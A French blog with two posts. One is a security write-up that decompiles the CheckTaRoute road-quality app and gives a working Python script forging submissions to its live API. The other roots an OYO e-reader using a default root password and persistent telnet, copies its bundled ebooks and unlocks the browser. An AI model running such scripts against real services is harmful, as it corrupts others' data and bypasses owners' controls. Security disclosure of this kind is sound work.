OpenData76: Sécurité de l’application CheckTaRoute

CheckTaRoute

Grand vainqueur du Hackathon organisé par la région et par l’équipe d’Hackhours, l’équipe de Check Ta Route a proposé un système permettant d’évaluer l’état du revêtement d’une route au travers d’une application mobile pour Android. Pour ce faire, ils utilisent l’accéléromètre présent dans les téléphones pour mesurer les vibrations émises durant un trajet et les couplent avec les coordonnées GPS. Ainsi ils peuvent connaitre l’état d’une route à un instant t et une position X,Y.

Après avoir entendu dire qu’ils avaient eu quelques soucis de sécurité mais que c’était corrigé, ma curiosité m’a poussé à aller voir de plus près le fonctionnement de l’application pour voir si elle était sécurisée.

Capture du trafic réseau

La première chose qui m’est venue en tête a été d’analyser le trafic réseau pour voir comment le téléphone envoyait les informations au serveur de CheckTaRoute. J’ai donc mis en place un point d’accès Wi-Fi sur mon ordinateur auquel j’ai connecté mon téléphone portable. J’ai ensuite coupé la connexion réseau mobile de mon téléphone pour être sûr que mes données soient envoyées qu’au travers du point d’accès. Enfin j’ai lancé WireShark pour voir ce qui se tramait là-dessous (oui je suis fier du jeu de mot…).

Malheureusement, pas grand chose de magique, les données ne semble être envoyées qu’au travers du réseau mobile et les quelques autres données qui sont autorisées à passer par le Wi-Fi passent en HTTPS. Vu que j’ai pas voulu me prendre la tête en vérifiant si les certificats auto-signés passaient, je suis directement passé à une analyse de code.

Analyse du client mobile

Récupération et décompilation du code

Vu que l’analyse réseau n’avait pas été fructueuse, j’ai préféré regarder directement dans le code du client mobile.

Pour les personnes qui ne le savent pas, il est facilement possible de décompiler une application Android pour retrouver le code java utilisé avant la compilation en APK.

Pour commencer, il faut récupérer l’APK sur le playstore. Il existe aujourd’hui des sites web ou des extensions navigateurs pour le faire facilement. Dans mon cas mon choix s’est porté sur Evozi.

Pour la décompilation, c’est pareil. Il existe pas mal de services sur le net permettant de le faire sans avoir à installer APKtool, jade, dex2jar, etc… Pour décompiler j’utilise Android APK decompiler qui permet de le faire simplement et rapidement.

Analyse du code JAVA

Le code s’articule autour de quatre classes permettant de:

  • Récupérer les coordonnées GPS
  • Enregistrer les vibrations
  • Traiter les vibrations
  • Envoyer les données traités

Vous l’aurez compris, ce qui nous interesse ici c’est l’envoi de données. Voici le code:

String s = as[0];
String s1 = as[1];
int i = (int)((2.32F * (float)(System.currentTimeMillis() / 1000L)) / 10000F);
String s2 = (new StringBuilder("HackathonOpenData766e54")).append(Integer.toHexString(i)).append(5).append("a").append(0).append(1).append("CheckTaRouteEtPasMonCode").toString();
try
{
    String s3 = (new StringBuilder("Data=")).append(URLEncoder.encode(s1, "UTF-8")).toString();
    HttpsURLConnection httpsurlconnection = (HttpsURLConnection)(new URL(s)).openConnection();
    httpsurlconnection.setRequestMethod("POST");
    httpsurlconnection.setRequestProperty("Content-length", String.valueOf(s3.length()));
    httpsurlconnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    httpsurlconnection.setRequestProperty("User-Agent", s2);
    httpsurlconnection.setDoOutput(true);
    httpsurlconnection.setDoInput(true);
    DataOutputStream dataoutputstream = new DataOutputStream(httpsurlconnection.getOutputStream());
    dataoutputstream.writeBytes(s3);
    dataoutputstream.close();
}

...

serveur_communication serveur_communication1 = new serveur_communication(null);
String as[] = new String[2];
as[0] = "https://www.checktaroute.fr/API.php";
as[1] = stringbuilder.toString();
serveur_communication1.execute(as);

...

stringbuilder.append((new StringBuilder()).append(af[0]).append(",").append(af[1]).append("|").append(af[2]).append(",").append(af[3]).append("|").append(af[4]).append("|").append(af[5]).append("&").toString());

Décortiquons ensemble ce que fait le code:

  1. Il crée une requête avec un User-Agent custom et un Content-Type défini à ’application/x-www-form-urlencoded’.
  2. Il fait une requête à l’adresse: ‘https://www.checktaroute.fr/API.php'.
  3. Il ajoute en arguments les données traitées sous la forme: y1,x1|y2,x2|Q|P.

Dans notre cas x1 et y1 représentent les coordonnées GPS de notre point de départ, x2 et y2 nos coordonnées actuelles. Nous avons Q qui represente la qualité de la route et P la précision (si j’ai bien compris). Toutes les variables sont des nombres flottants.

Pour vérifier notre hypothèse les auteurs de l’application ont laissé une fonction permettant de tester l’envoi de données:

public void test_envoi_fichier(View view)
{
    ArrayList arraylist = new ArrayList();
    arraylist.add(new float[] {
        49.43052F, 1.090565F, 49.43403F, 1.107988F, 9F, 8F
    });
    (new envoiDonneesSecurise()).envoyerDonnees(arraylist);
}

Maintenant que l’on sait comment fonctionne l’application, il est temps de faire un script permettant d’émuler le fonctionnement de l’application mobile.

Rédaction d’un Proof Of Concept (PoC)

Dans un premier temps, nous voulons réussir à écrire des informations sur la carte. Comme je ne voulais pas pourrir les informations utiles sur Rouen, j’ai décider de prendre les coordonnées d’un beau p’tit village nommé Montmain à l’est de Rouen.

Voici donc à quoi ressemble le PoC permettant d’écrire à Montmain:

from time import time
import requests

x1 = 1.242533
y1 = 49.407219
x2 = 1.244099
y2 = 49.406870

token = '%x' % (2.32 * time() // 10000)
payload = 'Data={0},{1}|{2},{3}|9.0|8.0'.format(y1,x1, y2, x2)

headers = {
    'User-Agent': 'HackathonOpenData766e54%s5a01CheckTaRouteEtPasMonCode' % token,
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': len(payload)
}

r = requests.post('https://www.checktaroute.fr/API.php', headers=headers, data=payload)

Le résultat:

montmain

Utilisation d’OpenData76

Le but du Hackathon du weekend dernier était d’utiliser les données d’OpenData76 dans un projet. J’ai donc cherché dans le client l’utilisation qui en été faite, mais malheureusement je n’ai rien trouvé. On pourrait penser qu’elles sont utilisées côté serveur, mais rien de ce qui pourrait être utilisé n’apparait pour l’utilisateur.

Librairie MySQL

Durant l’étude du code de l’application mobile, j’ai remarqué que celle-ci intégrait des librairies permettant d’utiliser MySQL alors qu’aucune connexion n’est effectuée vers une base de données à partir du client mobile. Donc à part alourdir l’application je ne comprends pas son utilisation…

Conclusion

L’application semble avoir conquis le jury ce weekend mais je doute de pas mal de point sur la faisabilité technique d’un tel projet. Je n’ai pas vu de calibrage de la voiture dans l’application, il est donc très relatif de pouvoir juger de l’état de la route sans prendre en compte les amortisseurs, et les pneus de la voiture. Il existe beaucoup de facteurs d’absorption que l’application ne gère pas. Un autre exemple est dans les données de l’accéléromètre. Les seules coordonnées qui sont traité concerne l’axe Z, c’est à dire que si le téléphone n’est pas parfaitement droit, les valeurs enregistrées sont tronquées.

En bref, une très bonne idée, mais une réalisation technique à revoir complêtement, je pense que l’équipe de CheckTaRoute va devoir revoir la conception de son projet si elle ne veut pas que n’importe qui puisse écrire sur sa carte.

Aller, sur ce, bonne journée o/

Découverte et Rootage de l'OYO

Bien le bonjour, aujourd’hui on va un peu jouer au barbus ! Récemment j’ai fait l’acquisition d’un lecteur d’eBooks pour la modique somme de 39€ chez chapitre.com, autant dire que l’envie de le bricoler était grande! Tout d’abord, une petite recherche sur le net m’a conduis sur cette page, une vraie mine d’informations !

Photo OYO

Donc tout d’abord la description technique de la bête :

  • architecture ARM (armv5tejl) de Samsung
  • 128Mo de RAM
  • une interface WLAN pour pouvoir acheter des livres en ligne
  • un écran tactile bénéficiant de la technologie ePaper

Voilà c’est à peu près tout ce qu’il y a à savoir, mis à part peut être qu’un prochain modèle devrait sortir avec la technologie 3G !

Mes tests ont étaient effectués sur une ubuntu 12.04, d’après ce que l’on peut voir sur le net une version inférieure à la 10.10 empêche le matériel de fonctionner correctement.

Aller en “root” maintenant (hohoho)

Rooter l’OYO

On va d’abord essayer de gagner un accès sur l’oyo. Pour celà pas trop de problème, on branche l’appareil sur notre linux préféré, une batterie devrait apparaitre. On démarre l’oyo, celui-ci devrait être détecté automatiquement, vérifions tout de même que ce soit le cas :

y0no@bobi:~$ lsusb
Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 099: ID 0525:a4a6 Netchip Technology, Inc. Linux-USB File Storage

Gadget L’oyo étant détecté correctement, on va tenter de se connecter dessus, pour cela nous allons émuler un lien série entre le périphérique et le PC, pour le faire, il nous suffit de taper en console (en prenant soin de remplacer les valeurs de vendor et product par celle que ‘lsusb’ vous a renvoyé) :

y0no@bobi:~$ sudo modprobe vendor=0x0525 product=0xa4a6

Le lien devrait être effectif, on va redémarrer l’OYO en mode debug. Pour cela il vous faudra une carte SD dans la quel nous placerons un fichier nommé usbdebug, un simple redémarrage est le tour est joué !

y0no@bobi:~$ dmesg
	...
[  249.406500] usbserial_generic 2-1.1:1.0: generic converter detected
[  249.406695] usb 2-1.1: generic converter now attached to ttyUSB0
...
y0no@bobi:~$ cat /var/log/syslog
...
Jul 16 16:19:09 ubuntu modem-manager: (ttyUSB0) opening serial device...
Jul 16 16:19:09 ubuntu modem-manager: (ttyUSB0): probe requested by plugin 'Generic'
Jul 16 16:19:21 ubuntu modem-manager: (ttyUSB0) closing serial device...
Jul 16 16:19:22 ubuntu modem-manager: (ttyUSB0) opening serial device...
Jul 16 16:19:28 ubuntu modem-manager: (ttyUSB0) closing serial device...
...

Prenez un logiciel tel que minocom ou n’importe quel équivalent pour communiquer avec votre port série en y entrant les informations suivante :

  • PORT : /dev/ttyUSB0
  • BAUD : 115200
  • Bits de données : 8
  • Bits de stop : 1
  • Controle de flux : non

Vous voilà relier à l’oyo ! Un identifiant vous sera demandé pour vous connecter:

  • Login : root
  • Pass : SReader

Maintenant amuser vous bien !

Maintenir un accès sur l’OYO grâce à telnet

Se connecter par liaison série à l’oyo n’est pas compliqué mais, est tout de même assez contraignante à la longue, nous allons donc utiliser l’interface wifi de l’OYO pour nous y connecter grâce à telnet !

Pour les plus pressés, il suffit d’entrer la commande inetd sur l’OYO puis d’activer le wifi pour pouvoir accéder en telnet à l’appareil. Le soucis c’est qu’il faudra refaire ça à chaque redémarrage de l’engin. Nous allons donc utiliser une solution beaucoup plus propre, c’est à dire un script de démarrage.

Pour cela, direction le dossier /mnt/etc/init.d/, créons un fichier inetd dans lequel nous mettrons le script suivant :

#!/bin/bash
[ -f /usr/sbin/inetd ] || exit 0

RETVAL=0

case "$1" in
  start)
    echo -n "Starting INET services: "
        /usr/sbin/inetd
        RETVAL=$?
        if [ $RETVAL -eq 0 ]; then
        echo "Success"
        else
        echo "Failed: $RETVAL"
        fi
        ;;
  stop)
        echo -n "Stopping INET services: "
        killall inetd
        killall telnetd
        RETVAL=$?
        if [ $RETVAL -eq 0 ]; then
        echo "Success"
        else
        echo "Failed: $RETVAL"
        fi
        ;;
  restart)
        $0 stop
        $0 start
        RETVAL=$?
        ;;
  *)
        echo "Usage: $0 {start|stop|restart}"
exit 1
esac

N’hésitez pas à utiliser ‘vi’ qui est installé par défaut. Le script n’est pas parfait loin de là, mais il fait ce qu’on lui demande Nous allons ensuite rendre ce script exécutable puis lui demander de se lancer au démarrage de l’appareil:

[root@Samsung ~]# chmod ugo+x inetd
[root@Samsung ~]# cd /mnt/etc/rc3.d
[root@Samsung ~]# ln -s ../init.d/inetd S57inetd

Voilà, maintenant plus besoin de relier l’OYO à votre PC pour communiquer avec.

Comment récupérer les 46 livres intégrés à OYO ?

En plus, de son prix assez compétitif, l’OYO de chapitre.com contient 46 livres. Malheureusement ceux-ci ne peuvent être récupérés de façon à les stocker sur son pc en attendant de les lire plus tard… Donc profitons de notre accès root pour les sauvegarder ! Donc connectons nous à l’appareil, que ce soit en telnet ou via le port série, puis :

[root@Samsung ~]# cd /home/books/
[root@Samsung books]# mv *.epub *.pdf /mnt/mmc0p2/

Grâce à ce petit tricks, nous aurons la possibilité de transférer les eBooks lorsque nous relierons l’oyo à notre pc (en mode sync) La mise à jour de la bibliothèque ne se fait pas dynamiquement, il est donc nécessaire de redémarrer l’appareil, ou bien de manière plus sale, mais sans redémarrage :

[root@Samsung ~]# cd /qduil/em/
[root@Samsung em]# ./start

Comment accéder à d’autres sites que chapitre.com

Par défaut, chapitre.com n’autorise que la navigation internet sur son site, pour l’achat de livre électronique. Après quelques recherches sur le web, nous pouvons voir que le modèle allemand n’est lui pas restreint et embarque un navigateur web présent dérrière le bouton “Autres contenus” de l’OYO. Voyons d’où viens cette différence et comment ajouter à notre appareil le navigateur Web.

Tout d’abord, rendons nous dans le dossier /rwdata/settings de notre appareil, nous pouvons remarquer la présence d’un fichier QBookApp.ini. Après son ouverture, on peut voir qu’il s’agit du fichier de configuration de l’OYO.

En le parcourant, vous aurez remarqué qu’il y a plusieurs parties dans le fichie, et notamment qu’elles portent le nom des différents revendeurs de l’oyo (buch, chapitre, empik, etc…).

En étudiant les différences entre les configurations des revendeurs, notamment entre chapitre et thalia. On remarque un champ suspect has_open_web_browser. Tentons de définir sa valeur à true dans la configuration de chapitre. On redémarre l’OYO et voilà le navigateur est présent dans l’appareil, bon surf !